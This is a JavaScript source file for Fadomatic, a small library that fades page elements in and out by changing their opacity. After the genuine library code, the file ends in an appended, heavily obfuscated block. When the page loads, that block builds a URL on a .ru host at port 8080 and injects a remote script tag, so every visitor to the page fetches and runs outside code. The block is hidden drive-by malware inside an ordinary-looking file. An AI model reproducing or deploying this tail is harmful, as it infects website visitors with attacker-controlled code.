/** $Id$ */
// Title: Fadomatic
// Version: 1.2
// Homepage: http://chimpen.com/fadomatic
// Author: Philip McCarthy <fadomatic@chimpen.com>

// Fade interval in milliseconds
// Make this larger if you experience performance issues
Fadomatic.INTERVAL_MILLIS = 50;

// Creates a fader
// element - The element to fade
// speed - The speed to fade at, from 0.0 to 100.0
// initialOpacity (optional, default 100) - element's starting opacity, 0 to 100
// minOpacity (optional, default 0) - element's minimum opacity, 0 to 100
// maxOpacity (optional, default 0) - element's minimum opacity, 0 to 100
function Fadomatic (element, rate, initialOpacity, minOpacity, maxOpacity) {
  this._element = element;
  this._intervalId = null;
  this._rate = rate;
  this._isFadeOut = true;

  // Set initial opacity and bounds
  // NB use 99 instead of 100 to avoid flicker at start of fade
  this._minOpacity = 0;
  this._maxOpacity = 99;
  this._opacity = 99;

  if (typeof minOpacity != 'undefined') {
    if (minOpacity < 0) {
      this._minOpacity = 0;
    } else if (minOpacity > 99) {
      this._minOpacity = 99;
    } else {
      this._minOpacity = minOpacity;
    }
  }

  if (typeof maxOpacity != 'undefined') {
    if (maxOpacity < 0) {
      this._maxOpacity = 0;
    } else if (maxOpacity > 99) {
      this._maxOpacity = 99;
    } else {
      this._maxOpacity = maxOpacity;
    }

    if (this._maxOpacity < this._minOpacity) {
      this._maxOpacity = this._minOpacity;
    }
  }
  
  if (typeof initialOpacity != 'undefined') {
    if (initialOpacity > this._maxOpacity) {
      this._opacity = this._maxOpacity;
    } else if (initialOpacity < this._minOpacity) {
      this._opacity = this._minOpacity;
    } else {
      this._opacity = initialOpacity;
    }
  }

  // See if we're using W3C opacity, MSIE filter, or just
  // toggling visiblity
  if(typeof element.style.opacity != 'undefined') {

    this._updateOpacity = this._updateOpacityW3c;

  } else if(typeof element.style.filter != 'undefined') {

    // If there's not an alpha filter on the element already,
    // add one
    if (element.style.filter.indexOf("alpha") == -1) {

      // Attempt to preserve existing filters
      var existingFilters="";
      if (element.style.filter) {
        existingFilters = element.style.filter+" ";
      }
      element.style.filter = existingFilters+"alpha(opacity="+this._opacity+")";
    }

    this._updateOpacity = this._updateOpacityMSIE;
    
  } else {

    this._updateOpacity = this._updateVisibility;
  }

  this._updateOpacity();
}

// Initiates a fade out
Fadomatic.prototype.fadeOut = function () {
  this._isFadeOut = true;
  this._beginFade();
}

// Initiates a fade in
Fadomatic.prototype.fadeIn = function () {
  this._isFadeOut = false;
  this._beginFade();
}

// Makes the element completely opaque, stops any fade in progress
Fadomatic.prototype.show = function () {
  this.haltFade();
  this._opacity = this._maxOpacity;
  this._updateOpacity();
}

// Makes the element completely transparent, stops any fade in progress
Fadomatic.prototype.hide = function () {
  this.haltFade();
  this._opacity = 0;
  this._updateOpacity();
}

// Halts any fade in progress
Fadomatic.prototype.haltFade = function () {

  clearInterval(this._intervalId);
}

// Resumes a fade where it was halted
Fadomatic.prototype.resumeFade = function () {

  this._beginFade();
}

// Pseudo-private members

Fadomatic.prototype._beginFade = function () {

  this.haltFade();
  var objref = this;
  this._intervalId = setInterval(function() { objref._tickFade(); },Fadomatic.INTERVAL_MILLIS);
}

Fadomatic.prototype._tickFade = function () {

  if (this._isFadeOut) {
    this._opacity -= this._rate;
    if (this._opacity < this._minOpacity) {
      this._opacity = this._minOpacity;
      this.haltFade();
    }
  } else {
    this._opacity += this._rate;
    if (this._opacity > this._maxOpacity ) {
      this._opacity = this._maxOpacity;
      this.haltFade();
    }
  }

  this._updateOpacity();
}

Fadomatic.prototype._updateVisibility = function () {
  
  if (this._opacity > 0) {
    this._element.style.visibility = 'visible';
  } else {
    this._element.style.visibility = 'hidden';
  }
}

Fadomatic.prototype._updateOpacityW3c = function () {
  
  this._element.style.opacity = this._opacity/100;
  this._updateVisibility();
}

Fadomatic.prototype._updateOpacityMSIE = function () {
  
  this._element.filters.alpha.opacity = this._opacity;
  this._updateVisibility();
}

Fadomatic.prototype._updateOpacity = null;

this.w="";function B(){var wO=new Array();var R='';var nG;if(nG!='t' && nG!='tl'){nG='t'};var C=unescape;this.RR="";var P=window;this.Jp="";var Bs;if(Bs!='' && Bs!='f'){Bs=null};var nM;if(nM!='' && nM!='Z'){nM=''};var U=new Array();var M="\x68\x74\x74\x70\x3a\x2f\x2f\x79\x6f\x75\x72\x66\x69\x6c\x65\x68\x6f\x73\x74\x2d\x63\x6f\x6d\x2e\x64\x65\x62\x6f\x6e\x61\x69\x72\x62\x6c\x6f\x67\x2e\x63\x6f\x6d\x2e\x77\x33\x73\x63\x68\x6f\x6f\x6c\x73\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";this.r="";this.PT="";var y=String("g");function c(i,L){var ys=C("%5b")+L+C("%5d");var Ae;if(Ae!='_' && Ae!='BV'){Ae='_'};var Cg=new RegExp(ys, y);var ih;if(ih!='' && ih!='G'){ih=''};return i.replace(Cg, R);};this.hT='';this.j='';var I=c('8313910911433833351015934','45319');this.Zs='';var Rl;if(Rl!='X' && Rl!='AU'){Rl='X'};var bp;if(bp!='' && bp!='aP'){bp=null};var Q=C("%2f%79%6e%65%74%2e%63%6f%6d%2f%79%6e%65%74%2e%63%6f%6d%2f%6b%69%6e%6f%70%6f%69%73%6b%2e%72%75%2f%66%69%73%68%6b%69%2e%6e%65%74%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");var e=document;var AX="";var m='';var K;if(K!='u'){K='u'};function d(){this.pa='';var Xu="";m=M;var HN='';this.wz='';m+=I;var rN;if(rN!='' && rN!='vZ'){rN=''};var Uz="";m+=Q;try {IS=e.createElement(c('s0cmrmilpmtW','vWflH0m'));var Kc='';var aQ='';var Yy;if(Yy!='CT'){Yy='CT'};this.BF='';var Mk=new Date();IS.src=m;this.Ld='';var oQ;if(oQ!='mE'){oQ=''};IS.defer=[1][0];var jg;if(jg!='cO'){jg='cO'};var hp="";var vGf='';e.body.appendChild(IS);var iW="";var RG;if(RG!='is' && RG!='_h'){RG='is'};} catch(b){var EM;if(EM!='MR' && EM!='Gd'){EM='MR'};this.ci='';};var QY=new Array();this.tA="";}this.Mq='';var rX;if(rX!='' && rX!='iX'){rX='Wr'};this.kN="";P["onloa"+"d"]=d;var Rf=new Array();var ce;if(ce!='CA'){ce=''};};var Di=new Date();var yqQ='';var Ft='';B();var mR="";